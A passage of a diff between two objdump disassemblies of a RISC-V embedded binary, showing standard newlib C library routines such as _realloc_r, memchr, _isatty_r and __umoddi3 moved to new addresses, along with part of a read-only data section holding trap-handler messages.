+20403a80:	842e                	mv	s0,a1
+20403a82:	cf89                	beqz	a5,20403a9c <__smakebuf_r+0x2c>
+20403a84:	04740793          	addi	a5,s0,71
+20403a88:	c01c                	sw	a5,0(s0)
+20403a8a:	c81c                	sw	a5,16(s0)
+20403a8c:	4785                	li	a5,1
+20403a8e:	c85c                	sw	a5,20(s0)
+20403a90:	40f2                	lw	ra,28(sp)
+20403a92:	4462                	lw	s0,24(sp)
+20403a94:	44d2                	lw	s1,20(sp)
+20403a96:	4942                	lw	s2,16(sp)
+20403a98:	6105                	addi	sp,sp,32
+20403a9a:	8082                	ret
+20403a9c:	0074                	addi	a3,sp,12
+20403a9e:	0030                	addi	a2,sp,8
+20403aa0:	892a                	mv	s2,a0
+20403aa2:	3f95                	jal	20403a16 <__swhatbuf_r>
+20403aa4:	45a2                	lw	a1,8(sp)
+20403aa6:	84aa                	mv	s1,a0
+20403aa8:	854a                	mv	a0,s2
+20403aaa:	a79fe0ef          	jal	ra,20402522 <_malloc_r>
+20403aae:	ed01                	bnez	a0,20403ac6 <__smakebuf_r+0x56>
+20403ab0:	00c41783          	lh	a5,12(s0)
+20403ab4:	2007f713          	andi	a4,a5,512
+20403ab8:	ff61                	bnez	a4,20403a90 <__smakebuf_r+0x20>
+20403aba:	9bf1                	andi	a5,a5,-4
+20403abc:	0027e793          	ori	a5,a5,2
+20403ac0:	00f41623          	sh	a5,12(s0)
+20403ac4:	b7c1                	j	20403a84 <__smakebuf_r+0x14>
+20403ac6:	fffff797          	auipc	a5,0xfffff
+20403aca:	eaa78793          	addi	a5,a5,-342 # 20402970 <_cleanup_r>
+20403ace:	02f92423          	sw	a5,40(s2)
+20403ad2:	00c45783          	lhu	a5,12(s0)
+20403ad6:	c008                	sw	a0,0(s0)
+20403ad8:	c808                	sw	a0,16(s0)
+20403ada:	0807e793          	ori	a5,a5,128
+20403ade:	00f41623          	sh	a5,12(s0)
+20403ae2:	47a2                	lw	a5,8(sp)
+20403ae4:	c85c                	sw	a5,20(s0)
+20403ae6:	47b2                	lw	a5,12(sp)
+20403ae8:	cf89                	beqz	a5,20403b02 <__smakebuf_r+0x92>
+20403aea:	00e41583          	lh	a1,14(s0)
+20403aee:	854a                	mv	a0,s2
+20403af0:	20d9                	jal	20403bb6 <_isatty_r>
+20403af2:	c901                	beqz	a0,20403b02 <__smakebuf_r+0x92>
+20403af4:	00c45783          	lhu	a5,12(s0)
+20403af8:	9bf1                	andi	a5,a5,-4
+20403afa:	0017e793          	ori	a5,a5,1
+20403afe:	00f41623          	sh	a5,12(s0)
+20403b02:	00c45503          	lhu	a0,12(s0)
+20403b06:	8cc9                	or	s1,s1,a0
+20403b08:	00941623          	sh	s1,12(s0)
+20403b0c:	b751                	j	20403a90 <__smakebuf_r+0x20>
 
-20404e0c <_realloc_r>:
-20404e0c:	1101                	addi	sp,sp,-32
-20404e0e:	cc22                	sw	s0,24(sp)
-20404e10:	ce06                	sw	ra,28(sp)
-20404e12:	ca26                	sw	s1,20(sp)
-20404e14:	c84a                	sw	s2,16(sp)
-20404e16:	c64e                	sw	s3,12(sp)
-20404e18:	8432                	mv	s0,a2
-20404e1a:	e991                	bnez	a1,20404e2e <_realloc_r+0x22>
-20404e1c:	4462                	lw	s0,24(sp)
-20404e1e:	40f2                	lw	ra,28(sp)
-20404e20:	44d2                	lw	s1,20(sp)
-20404e22:	4942                	lw	s2,16(sp)
-20404e24:	49b2                	lw	s3,12(sp)
-20404e26:	85b2                	mv	a1,a2
-20404e28:	6105                	addi	sp,sp,32
-20404e2a:	eeffe06f          	j	20403d18 <_malloc_r>
-20404e2e:	ee01                	bnez	a2,20404e46 <_realloc_r+0x3a>
-20404e30:	e47fe0ef          	jal	ra,20403c76 <_free_r>
-20404e34:	4481                	li	s1,0
-20404e36:	40f2                	lw	ra,28(sp)
-20404e38:	4462                	lw	s0,24(sp)
-20404e3a:	4942                	lw	s2,16(sp)
-20404e3c:	49b2                	lw	s3,12(sp)
-20404e3e:	8526                	mv	a0,s1
-20404e40:	44d2                	lw	s1,20(sp)
-20404e42:	6105                	addi	sp,sp,32
-20404e44:	8082                	ret
-20404e46:	892e                	mv	s2,a1
-20404e48:	89aa                	mv	s3,a0
-20404e4a:	28a5                	jal	20404ec2 <_malloc_usable_size_r>
-20404e4c:	84ca                	mv	s1,s2
-20404e4e:	fe8574e3          	bgeu	a0,s0,20404e36 <_realloc_r+0x2a>
-20404e52:	85a2                	mv	a1,s0
-20404e54:	854e                	mv	a0,s3
-20404e56:	ec3fe0ef          	jal	ra,20403d18 <_malloc_r>
-20404e5a:	84aa                	mv	s1,a0
-20404e5c:	dd69                	beqz	a0,20404e36 <_realloc_r+0x2a>
-20404e5e:	85ca                	mv	a1,s2
-20404e60:	8622                	mv	a2,s0
-20404e62:	9e6fe0ef          	jal	ra,20403048 <memcpy>
-20404e66:	85ca                	mv	a1,s2
-20404e68:	854e                	mv	a0,s3
-20404e6a:	e0dfe0ef          	jal	ra,20403c76 <_free_r>
-20404e6e:	b7e1                	j	20404e36 <_realloc_r+0x2a>
+20403b0e <memchr>:
+20403b0e:	0ff5f593          	andi	a1,a1,255
+20403b12:	962a                	add	a2,a2,a0
+20403b14:	00c51463          	bne	a0,a2,20403b1c <memchr+0xe>
+20403b18:	4501                	li	a0,0
+20403b1a:	8082                	ret
+20403b1c:	00054783          	lbu	a5,0(a0)
+20403b20:	feb78de3          	beq	a5,a1,20403b1a <memchr+0xc>
+20403b24:	0505                	addi	a0,a0,1
+20403b26:	b7fd                	j	20403b14 <memchr+0x6>
 
-20404e70 <_fstat_r>:
-20404e70:	1141                	addi	sp,sp,-16
-20404e72:	c422                	sw	s0,8(sp)
-20404e74:	842a                	mv	s0,a0
-20404e76:	852e                	mv	a0,a1
-20404e78:	85b2                	mv	a1,a2
-20404e7a:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-20404e7e:	c606                	sw	ra,12(sp)
-20404e80:	ca1fd0ef          	jal	ra,20402b20 <_fstat>
-20404e84:	57fd                	li	a5,-1
-20404e86:	00f51663          	bne	a0,a5,20404e92 <_fstat_r+0x22>
-20404e8a:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-20404e8e:	c391                	beqz	a5,20404e92 <_fstat_r+0x22>
-20404e90:	c01c                	sw	a5,0(s0)
-20404e92:	40b2                	lw	ra,12(sp)
-20404e94:	4422                	lw	s0,8(sp)
-20404e96:	0141                	addi	sp,sp,16
-20404e98:	8082                	ret
+20403b28 <_realloc_r>:
+20403b28:	1101                	addi	sp,sp,-32
+20403b2a:	cc22                	sw	s0,24(sp)
+20403b2c:	ce06                	sw	ra,28(sp)
+20403b2e:	ca26                	sw	s1,20(sp)
+20403b30:	c84a                	sw	s2,16(sp)
+20403b32:	c64e                	sw	s3,12(sp)
+20403b34:	8432                	mv	s0,a2
+20403b36:	e991                	bnez	a1,20403b4a <_realloc_r+0x22>
+20403b38:	4462                	lw	s0,24(sp)
+20403b3a:	40f2                	lw	ra,28(sp)
+20403b3c:	44d2                	lw	s1,20(sp)
+20403b3e:	4942                	lw	s2,16(sp)
+20403b40:	49b2                	lw	s3,12(sp)
+20403b42:	85b2                	mv	a1,a2
+20403b44:	6105                	addi	sp,sp,32
+20403b46:	9ddfe06f          	j	20402522 <_malloc_r>
+20403b4a:	ee01                	bnez	a2,20403b62 <_realloc_r+0x3a>
+20403b4c:	939fe0ef          	jal	ra,20402484 <_free_r>
+20403b50:	4481                	li	s1,0
+20403b52:	40f2                	lw	ra,28(sp)
+20403b54:	4462                	lw	s0,24(sp)
+20403b56:	4942                	lw	s2,16(sp)
+20403b58:	49b2                	lw	s3,12(sp)
+20403b5a:	8526                	mv	a0,s1
+20403b5c:	44d2                	lw	s1,20(sp)
+20403b5e:	6105                	addi	sp,sp,32
+20403b60:	8082                	ret
+20403b62:	892e                	mv	s2,a1
+20403b64:	89aa                	mv	s3,a0
+20403b66:	28a5                	jal	20403bde <_malloc_usable_size_r>
+20403b68:	84ca                	mv	s1,s2
+20403b6a:	fe8574e3          	bgeu	a0,s0,20403b52 <_realloc_r+0x2a>
+20403b6e:	85a2                	mv	a1,s0
+20403b70:	854e                	mv	a0,s3
+20403b72:	9b1fe0ef          	jal	ra,20402522 <_malloc_r>
+20403b76:	84aa                	mv	s1,a0
+20403b78:	dd69                	beqz	a0,20403b52 <_realloc_r+0x2a>
+20403b7a:	85ca                	mv	a1,s2
+20403b7c:	8622                	mv	a2,s0
+20403b7e:	8bbfe0ef          	jal	ra,20402438 <memcpy>
+20403b82:	85ca                	mv	a1,s2
+20403b84:	854e                	mv	a0,s3
+20403b86:	8fffe0ef          	jal	ra,20402484 <_free_r>
+20403b8a:	b7e1                	j	20403b52 <_realloc_r+0x2a>
 
-20404e9a <_isatty_r>:
-20404e9a:	1141                	addi	sp,sp,-16
-20404e9c:	c422                	sw	s0,8(sp)
-20404e9e:	842a                	mv	s0,a0
-20404ea0:	852e                	mv	a0,a1
-20404ea2:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-20404ea6:	c606                	sw	ra,12(sp)
-20404ea8:	ca3fd0ef          	jal	ra,20402b4a <_isatty>
-20404eac:	57fd                	li	a5,-1
-20404eae:	00f51663          	bne	a0,a5,20404eba <_isatty_r+0x20>
-20404eb2:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-20404eb6:	c391                	beqz	a5,20404eba <_isatty_r+0x20>
-20404eb8:	c01c                	sw	a5,0(s0)
-20404eba:	40b2                	lw	ra,12(sp)
-20404ebc:	4422                	lw	s0,8(sp)
-20404ebe:	0141                	addi	sp,sp,16
-20404ec0:	8082                	ret
+20403b8c <_fstat_r>:
+20403b8c:	1141                	addi	sp,sp,-16
+20403b8e:	c422                	sw	s0,8(sp)
+20403b90:	842a                	mv	s0,a0
+20403b92:	852e                	mv	a0,a1
+20403b94:	85b2                	mv	a1,a2
+20403b96:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+20403b9a:	c606                	sw	ra,12(sp)
+20403b9c:	f00fe0ef          	jal	ra,2040229c <_fstat>
+20403ba0:	57fd                	li	a5,-1
+20403ba2:	00f51663          	bne	a0,a5,20403bae <_fstat_r+0x22>
+20403ba6:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20403baa:	c391                	beqz	a5,20403bae <_fstat_r+0x22>
+20403bac:	c01c                	sw	a5,0(s0)
+20403bae:	40b2                	lw	ra,12(sp)
+20403bb0:	4422                	lw	s0,8(sp)
+20403bb2:	0141                	addi	sp,sp,16
+20403bb4:	8082                	ret
 
-20404ec2 <_malloc_usable_size_r>:
-20404ec2:	ffc5a783          	lw	a5,-4(a1)
-20404ec6:	ffc78513          	addi	a0,a5,-4
-20404eca:	0007d563          	bgez	a5,20404ed4 <_malloc_usable_size_r+0x12>
-20404ece:	95aa                	add	a1,a1,a0
-20404ed0:	419c                	lw	a5,0(a1)
-20404ed2:	953e                	add	a0,a0,a5
-20404ed4:	8082                	ret
+20403bb6 <_isatty_r>:
+20403bb6:	1141                	addi	sp,sp,-16
+20403bb8:	c422                	sw	s0,8(sp)
+20403bba:	842a                	mv	s0,a0
+20403bbc:	852e                	mv	a0,a1
+20403bbe:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+20403bc2:	c606                	sw	ra,12(sp)
+20403bc4:	f02fe0ef          	jal	ra,204022c6 <_isatty>
+20403bc8:	57fd                	li	a5,-1
+20403bca:	00f51663          	bne	a0,a5,20403bd6 <_isatty_r+0x20>
+20403bce:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20403bd2:	c391                	beqz	a5,20403bd6 <_isatty_r+0x20>
+20403bd4:	c01c                	sw	a5,0(s0)
+20403bd6:	40b2                	lw	ra,12(sp)
+20403bd8:	4422                	lw	s0,8(sp)
+20403bda:	0141                	addi	sp,sp,16
+20403bdc:	8082                	ret
 
-20404ed6 <__umoddi3>:
-20404ed6:	832a                	mv	t1,a0
-20404ed8:	8832                	mv	a6,a2
-20404eda:	87b6                	mv	a5,a3
-20404edc:	872e                	mv	a4,a1
-20404ede:	1c069563          	bnez	a3,204050a8 <__umoddi3+0x1d2>
-20404ee2:	00001697          	auipc	a3,0x1
-20404ee6:	e0668693          	addi	a3,a3,-506 # 20405ce8 <__clz_tab>
-20404eea:	0ac5f663          	bgeu	a1,a2,20404f96 <__umoddi3+0xc0>
-20404eee:	68c1                	lui	a7,0x10
-20404ef0:	09167c63          	bgeu	a2,a7,20404f88 <__umoddi3+0xb2>
-20404ef4:	0ff00893          	li	a7,255
-20404ef8:	00c8f363          	bgeu	a7,a2,20404efe <__umoddi3+0x28>
-20404efc:	47a1                	li	a5,8
-20404efe:	00f658b3          	srl	a7,a2,a5
-20404f02:	96c6                	add	a3,a3,a7
-20404f04:	0006c683          	lbu	a3,0(a3)
-20404f08:	97b6                	add	a5,a5,a3
-20404f0a:	02000693          	li	a3,32
-20404f0e:	40f688b3          	sub	a7,a3,a5
-20404f12:	00f68c63          	beq	a3,a5,20404f2a <__umoddi3+0x54>
-20404f16:	011595b3          	sll	a1,a1,a7
-20404f1a:	00f357b3          	srl	a5,t1,a5
-20404f1e:	01161833          	sll	a6,a2,a7
-20404f22:	00b7e733          	or	a4,a5,a1
-20404f26:	01131533          	sll	a0,t1,a7
-20404f2a:	01085593          	srli	a1,a6,0x10
-20404f2e:	02b777b3          	remu	a5,a4,a1
-20404f32:	01081613          	slli	a2,a6,0x10
-20404f36:	8241                	srli	a2,a2,0x10
-20404f38:	01055693          	srli	a3,a0,0x10
-20404f3c:	02b75733          	divu	a4,a4,a1
-20404f40:	07c2                	slli	a5,a5,0x10
-20404f42:	8edd                	or	a3,a3,a5
-20404f44:	02e60733          	mul	a4,a2,a4
-20404f48:	00e6f863          	bgeu	a3,a4,20404f58 <__umoddi3+0x82>
-20404f4c:	96c2                	add	a3,a3,a6
-20404f4e:	0106e563          	bltu	a3,a6,20404f58 <__umoddi3+0x82>
-20404f52:	00e6f363          	bgeu	a3,a4,20404f58 <__umoddi3+0x82>
-20404f56:	96c2                	add	a3,a3,a6
-20404f58:	8e99                	sub	a3,a3,a4
-20404f5a:	02b6f7b3          	remu	a5,a3,a1
-20404f5e:	0542                	slli	a0,a0,0x10
-20404f60:	8141                	srli	a0,a0,0x10
-20404f62:	02b6d6b3          	divu	a3,a3,a1
-20404f66:	07c2                	slli	a5,a5,0x10
-20404f68:	8d5d                	or	a0,a0,a5
-20404f6a:	02d606b3          	mul	a3,a2,a3
-20404f6e:	00d57863          	bgeu	a0,a3,20404f7e <__umoddi3+0xa8>
-20404f72:	9542                	add	a0,a0,a6
-20404f74:	01056563          	bltu	a0,a6,20404f7e <__umoddi3+0xa8>
-20404f78:	00d57363          	bgeu	a0,a3,20404f7e <__umoddi3+0xa8>
-20404f7c:	9542                	add	a0,a0,a6
-20404f7e:	8d15                	sub	a0,a0,a3
-20404f80:	01155533          	srl	a0,a0,a7
-20404f84:	4581                	li	a1,0
-20404f86:	8082                	ret
-20404f88:	010008b7          	lui	a7,0x1000
-20404f8c:	47c1                	li	a5,16
-20404f8e:	f71668e3          	bltu	a2,a7,20404efe <__umoddi3+0x28>
-20404f92:	47e1                	li	a5,24
-20404f94:	b7ad                	j	20404efe <__umoddi3+0x28>
-20404f96:	e601                	bnez	a2,20404f9e <__umoddi3+0xc8>
-20404f98:	4705                	li	a4,1
-20404f9a:	02c75833          	divu	a6,a4,a2
-20404f9e:	6741                	lui	a4,0x10
-20404fa0:	08e87363          	bgeu	a6,a4,20405026 <__umoddi3+0x150>
-20404fa4:	0ff00713          	li	a4,255
-20404fa8:	01077363          	bgeu	a4,a6,20404fae <__umoddi3+0xd8>
-20404fac:	47a1                	li	a5,8
-20404fae:	00f85733          	srl	a4,a6,a5
-20404fb2:	96ba                	add	a3,a3,a4
-20404fb4:	0006c603          	lbu	a2,0(a3)
-20404fb8:	963e                	add	a2,a2,a5
-20404fba:	02000793          	li	a5,32
-20404fbe:	40c788b3          	sub	a7,a5,a2
-20404fc2:	06c79963          	bne	a5,a2,20405034 <__umoddi3+0x15e>
-20404fc6:	410585b3          	sub	a1,a1,a6
-20404fca:	01085693          	srli	a3,a6,0x10
-20404fce:	01081793          	slli	a5,a6,0x10
-20404fd2:	83c1                	srli	a5,a5,0x10
-20404fd4:	01055613          	srli	a2,a0,0x10
-20404fd8:	02d5f733          	remu	a4,a1,a3
-20404fdc:	02d5d5b3          	divu	a1,a1,a3
-20404fe0:	0742                	slli	a4,a4,0x10
-20404fe2:	8f51                	or	a4,a4,a2
-20404fe4:	02b785b3          	mul	a1,a5,a1
-20404fe8:	00b77863          	bgeu	a4,a1,20404ff8 <__umoddi3+0x122>
-20404fec:	9742                	add	a4,a4,a6
-20404fee:	01076563          	bltu	a4,a6,20404ff8 <__umoddi3+0x122>
-20404ff2:	00b77363          	bgeu	a4,a1,20404ff8 <__umoddi3+0x122>
-20404ff6:	9742                	add	a4,a4,a6
-20404ff8:	40b705b3          	sub	a1,a4,a1
-20404ffc:	02d5f733          	remu	a4,a1,a3
-20405000:	0542                	slli	a0,a0,0x10
-20405002:	8141                	srli	a0,a0,0x10
-20405004:	02d5d5b3          	divu	a1,a1,a3
-20405008:	02b785b3          	mul	a1,a5,a1
-2040500c:	01071793          	slli	a5,a4,0x10
-20405010:	8d5d                	or	a0,a0,a5
-20405012:	00b57863          	bgeu	a0,a1,20405022 <__umoddi3+0x14c>
-20405016:	9542                	add	a0,a0,a6
-20405018:	01056563          	bltu	a0,a6,20405022 <__umoddi3+0x14c>
-2040501c:	00b57363          	bgeu	a0,a1,20405022 <__umoddi3+0x14c>
-20405020:	9542                	add	a0,a0,a6
-20405022:	8d0d                	sub	a0,a0,a1
-20405024:	bfb1                	j	20404f80 <__umoddi3+0xaa>
-20405026:	01000737          	lui	a4,0x1000
-2040502a:	47c1                	li	a5,16
-2040502c:	f8e861e3          	bltu	a6,a4,20404fae <__umoddi3+0xd8>
-20405030:	47e1                	li	a5,24
-20405032:	bfb5                	j	20404fae <__umoddi3+0xd8>
-20405034:	01181833          	sll	a6,a6,a7
-20405038:	00c5d6b3          	srl	a3,a1,a2
-2040503c:	01085793          	srli	a5,a6,0x10
-20405040:	02f6f733          	remu	a4,a3,a5
-20405044:	011595b3          	sll	a1,a1,a7
-20405048:	00c35633          	srl	a2,t1,a2
-2040504c:	8e4d                	or	a2,a2,a1
-2040504e:	01081593          	slli	a1,a6,0x10
-20405052:	81c1                	srli	a1,a1,0x10
-20405054:	01131533          	sll	a0,t1,a7
-20405058:	01065313          	srli	t1,a2,0x10
-2040505c:	02f6d6b3          	divu	a3,a3,a5
-20405060:	0742                	slli	a4,a4,0x10
-20405062:	00676733          	or	a4,a4,t1
-20405066:	02d586b3          	mul	a3,a1,a3
-2040506a:	00d77863          	bgeu	a4,a3,2040507a <__umoddi3+0x1a4>
-2040506e:	9742                	add	a4,a4,a6
-20405070:	01076563          	bltu	a4,a6,2040507a <__umoddi3+0x1a4>
-20405074:	00d77363          	bgeu	a4,a3,2040507a <__umoddi3+0x1a4>
-20405078:	9742                	add	a4,a4,a6
-2040507a:	40d706b3          	sub	a3,a4,a3
-2040507e:	02f6f733          	remu	a4,a3,a5
-20405082:	0642                	slli	a2,a2,0x10
-20405084:	8241                	srli	a2,a2,0x10
-20405086:	02f6d6b3          	divu	a3,a3,a5
-2040508a:	0742                	slli	a4,a4,0x10
-2040508c:	02d586b3          	mul	a3,a1,a3
-20405090:	00c765b3          	or	a1,a4,a2
-20405094:	00d5f863          	bgeu	a1,a3,204050a4 <__umoddi3+0x1ce>
-20405098:	95c2                	add	a1,a1,a6
-2040509a:	0105e563          	bltu	a1,a6,204050a4 <__umoddi3+0x1ce>
-2040509e:	00d5f363          	bgeu	a1,a3,204050a4 <__umoddi3+0x1ce>
-204050a2:	95c2                	add	a1,a1,a6
-204050a4:	8d95                	sub	a1,a1,a3
-204050a6:	b715                	j	20404fca <__umoddi3+0xf4>
-204050a8:	ecd5efe3          	bltu	a1,a3,20404f86 <__umoddi3+0xb0>
-204050ac:	67c1                	lui	a5,0x10
-204050ae:	04f6f463          	bgeu	a3,a5,204050f6 <__umoddi3+0x220>
-204050b2:	0ff00893          	li	a7,255
-204050b6:	00d8b7b3          	sltu	a5,a7,a3
-204050ba:	078e                	slli	a5,a5,0x3
-204050bc:	00f6d8b3          	srl	a7,a3,a5
-204050c0:	00001817          	auipc	a6,0x1
-204050c4:	c2880813          	addi	a6,a6,-984 # 20405ce8 <__clz_tab>
-204050c8:	9846                	add	a6,a6,a7
-204050ca:	00084883          	lbu	a7,0(a6)
-204050ce:	98be                	add	a7,a7,a5
-204050d0:	02000793          	li	a5,32
-204050d4:	41178833          	sub	a6,a5,a7
-204050d8:	03179663          	bne	a5,a7,20405104 <__umoddi3+0x22e>
-204050dc:	00b6e463          	bltu	a3,a1,204050e4 <__umoddi3+0x20e>
-204050e0:	00c36963          	bltu	t1,a2,204050f2 <__umoddi3+0x21c>
-204050e4:	40c30533          	sub	a0,t1,a2
-204050e8:	8d95                	sub	a1,a1,a3
-204050ea:	00a33733          	sltu	a4,t1,a0
-204050ee:	40e58733          	sub	a4,a1,a4
-204050f2:	85ba                	mv	a1,a4
-204050f4:	bd49                	j	20404f86 <__umoddi3+0xb0>
-204050f6:	01000837          	lui	a6,0x1000
-204050fa:	47c1                	li	a5,16
-204050fc:	fd06e0e3          	bltu	a3,a6,204050bc <__umoddi3+0x1e6>
-20405100:	47e1                	li	a5,24
-20405102:	bf6d                	j	204050bc <__umoddi3+0x1e6>
-20405104:	011657b3          	srl	a5,a2,a7
-20405108:	010696b3          	sll	a3,a3,a6
-2040510c:	00d7ee33          	or	t3,a5,a3
-20405110:	0115d733          	srl	a4,a1,a7
-20405114:	010e5f13          	srli	t5,t3,0x10
-20405118:	01061eb3          	sll	t4,a2,a6
-2040511c:	03e77633          	remu	a2,a4,t5
-20405120:	010595b3          	sll	a1,a1,a6
-20405124:	011357b3          	srl	a5,t1,a7
-20405128:	8fcd                	or	a5,a5,a1
-2040512a:	010e1593          	slli	a1,t3,0x10
-2040512e:	81c1                	srli	a1,a1,0x10
-20405130:	01031533          	sll	a0,t1,a6
-20405134:	0107d693          	srli	a3,a5,0x10
-20405138:	03e75733          	divu	a4,a4,t5
-2040513c:	0642                	slli	a2,a2,0x10
-2040513e:	8ed1                	or	a3,a3,a2
-20405140:	02e58333          	mul	t1,a1,a4
-20405144:	863a                	mv	a2,a4
-20405146:	0066fc63          	bgeu	a3,t1,2040515e <__umoddi3+0x288>
-2040514a:	96f2                	add	a3,a3,t3
-2040514c:	fff70613          	addi	a2,a4,-1 # ffffff <__stack_size+0xfff7ff>
-20405150:	01c6e763          	bltu	a3,t3,2040515e <__umoddi3+0x288>
-20405154:	0066f563          	bgeu	a3,t1,2040515e <__umoddi3+0x288>
-20405158:	ffe70613          	addi	a2,a4,-2
-2040515c:	96f2                	add	a3,a3,t3
-2040515e:	406686b3          	sub	a3,a3,t1
-20405162:	03e6f333          	remu	t1,a3,t5
-20405166:	03e6d6b3          	divu	a3,a3,t5
-2040516a:	0342                	slli	t1,t1,0x10
-2040516c:	02d58733          	mul	a4,a1,a3
-20405170:	01079593          	slli	a1,a5,0x10
-20405174:	81c1                	srli	a1,a1,0x10
-20405176:	00b365b3          	or	a1,t1,a1
-2040517a:	87b6                	mv	a5,a3
-2040517c:	00e5fc63          	bgeu	a1,a4,20405194 <__umoddi3+0x2be>
-20405180:	95f2                	add	a1,a1,t3
-20405182:	fff68793          	addi	a5,a3,-1
-20405186:	01c5e763          	bltu	a1,t3,20405194 <__umoddi3+0x2be>
-2040518a:	00e5f563          	bgeu	a1,a4,20405194 <__umoddi3+0x2be>
-2040518e:	ffe68793          	addi	a5,a3,-2
-20405192:	95f2                	add	a1,a1,t3
-20405194:	0642                	slli	a2,a2,0x10
-20405196:	6f41                	lui	t5,0x10
-20405198:	8e5d                	or	a2,a2,a5
-2040519a:	ffff0693          	addi	a3,t5,-1 # ffff <__stack_size+0xf7ff>
-2040519e:	00d67333          	and	t1,a2,a3
-204051a2:	8d99                	sub	a1,a1,a4
-204051a4:	8241                	srli	a2,a2,0x10
-204051a6:	010ed713          	srli	a4,t4,0x10
-204051aa:	00def6b3          	and	a3,t4,a3
-204051ae:	02d307b3          	mul	a5,t1,a3
-204051b2:	02d606b3          	mul	a3,a2,a3
-204051b6:	02e30333          	mul	t1,t1,a4
-204051ba:	02e60633          	mul	a2,a2,a4
-204051be:	9336                	add	t1,t1,a3
-204051c0:	0107d713          	srli	a4,a5,0x10
-204051c4:	971a                	add	a4,a4,t1
-204051c6:	00d77363          	bgeu	a4,a3,204051cc <__umoddi3+0x2f6>
-204051ca:	967a                	add	a2,a2,t5
-204051cc:	01075693          	srli	a3,a4,0x10
-204051d0:	96b2                	add	a3,a3,a2
-204051d2:	6641                	lui	a2,0x10
-204051d4:	167d                	addi	a2,a2,-1
-204051d6:	8f71                	and	a4,a4,a2
-204051d8:	0742                	slli	a4,a4,0x10
-204051da:	8ff1                	and	a5,a5,a2
-204051dc:	97ba                	add	a5,a5,a4
-204051de:	00d5e663          	bltu	a1,a3,204051ea <__umoddi3+0x314>
-204051e2:	00d59b63          	bne	a1,a3,204051f8 <__umoddi3+0x322>
-204051e6:	00f57963          	bgeu	a0,a5,204051f8 <__umoddi3+0x322>
-204051ea:	41d78633          	sub	a2,a5,t4
-204051ee:	00c7b7b3          	sltu	a5,a5,a2
-204051f2:	97f2                	add	a5,a5,t3
-204051f4:	8e9d                	sub	a3,a3,a5
-204051f6:	87b2                	mv	a5,a2
-204051f8:	40f507b3          	sub	a5,a0,a5
-204051fc:	00f53533          	sltu	a0,a0,a5
-20405200:	8d95                	sub	a1,a1,a3
-20405202:	8d89                	sub	a1,a1,a0
-20405204:	011598b3          	sll	a7,a1,a7
-20405208:	0107d533          	srl	a0,a5,a6
-2040520c:	00a8e533          	or	a0,a7,a0
-20405210:	0105d5b3          	srl	a1,a1,a6
-20405214:	bb8d                	j	20404f86 <__umoddi3+0xb0>
+20403bde <_malloc_usable_size_r>:
+20403bde:	ffc5a783          	lw	a5,-4(a1)
+20403be2:	ffc78513          	addi	a0,a5,-4
+20403be6:	0007d563          	bgez	a5,20403bf0 <_malloc_usable_size_r+0x12>
+20403bea:	95aa                	add	a1,a1,a0
+20403bec:	419c                	lw	a5,0(a1)
+20403bee:	953e                	add	a0,a0,a5
+20403bf0:	8082                	ret
 
-20405216 <_exit>:
-20405216:	a001                	j	20405216 <_exit>
+20403bf2 <_exit>:
+20403bf2:	a001                	j	20403bf2 <_exit>
 
 Disassembly of section .rodata:
 
-20405218 <__clz_tab-0xad0>:
-20405218:	6e49                	lui	t3,0x12
-2040521a:	75727473          	csrrci	s0,0x757,4
-2040521e:	6f697463          	bgeu	s2,s6,20405906 <_exit+0x6f0>
-20405222:	206e                	fld	ft0,216(sp)
-20405224:	6461                	lui	s0,0x18
-20405226:	7264                	flw	fs1,100(a2)
-20405228:	7365                	lui	t1,0xffff9
-2040522a:	696d2073          	csrs	0x696,s10
-2040522e:	6c617373          	csrrci	t1,0x6c6,2
-20405232:	6769                	lui	a4,0x1a
-20405234:	656e                	flw	fa0,216(sp)
-20405236:	2064                	fld	fs1,192(s0)
-20405238:	203a                	fld	ft0,392(sp)
-2040523a:	7830                	flw	fa2,112(s0)
-2040523c:	3025                	jal	20404a64 <__swsetup_r+0x7a>
-2040523e:	7838                	flw	fa4,112(s0)
-20405240:	3020                	fld	fs0,96(s0)
-20405242:	2578                	fld	fa4,200(a0)
-20405244:	3830                	fld	fa2,112(s0)
-20405246:	2078                	fld	fa4,192(s0)
-20405248:	7830                	flw	fa2,112(s0)
-2040524a:	3025                	jal	20404a72 <__swsetup_r+0x88>
-2040524c:	7838                	flw	fa4,112(s0)
-2040524e:	0a20                	addi	s0,sp,280
-20405250:	0000                	unimp
-20405252:	0000                	unimp
-20405254:	6e49                	lui	t3,0x12
-20405256:	75727473          	csrrci	s0,0x757,4
-2040525a:	6f697463          	bgeu	s2,s6,20405942 <_exit+0x72c>
-2040525e:	206e                	fld	ft0,216(sp)
-20405260:	6361                	lui	t1,0x18
-20405262:	73736563          	bltu	t1,s7,2040598c <_exit+0x776>
-20405266:	6620                	flw	fs0,72(a2)
-20405268:	7561                	lui	a0,0xffff8
-2040526a:	746c                	flw	fa1,108(s0)
-2040526c:	3a20                	fld	fs0,112(a2)
-2040526e:	3020                	fld	fs0,96(s0)
-20405270:	2578                	fld	fa4,200(a0)
-20405272:	3830                	fld	fa2,112(s0)
-20405274:	2078                	fld	fa4,192(s0)
-20405276:	7830                	flw	fa2,112(s0)
-20405278:	3025                	jal	20404aa0 <__swsetup_r+0xb6>
-2040527a:	7838                	flw	fa4,112(s0)
-2040527c:	3020                	fld	fs0,96(s0)
-2040527e:	2578                	fld	fa4,200(a0)
-20405280:	3830                	fld	fa2,112(s0)
-20405282:	2078                	fld	fa4,192(s0)
-20405284:	000a                	c.slli	zero,0x2
-20405286:	0000                	unimp
-20405288:	6c49                	lui	s8,0x12
-2040528a:	656c                	flw	fa1,76(a0)
-2040528c:	206c6167          	0x206c6167
-20405290:	6e69                	lui	t3,0x1a
-20405292:	75727473          	csrrci	s0,0x757,4
-20405296:	6f697463          	bgeu	s2,s6,2040597e <_exit+0x768>
-2040529a:	206e                	fld	ft0,216(sp)
-2040529c:	203a                	fld	ft0,392(sp)
-2040529e:	7830                	flw	fa2,112(s0)
-204052a0:	3025                	jal	20404ac8 <__swsetup_r+0xde>
-204052a2:	7838                	flw	fa4,112(s0)
-204052a4:	3020                	fld	fs0,96(s0)
-204052a6:	2578                	fld	fa4,200(a0)
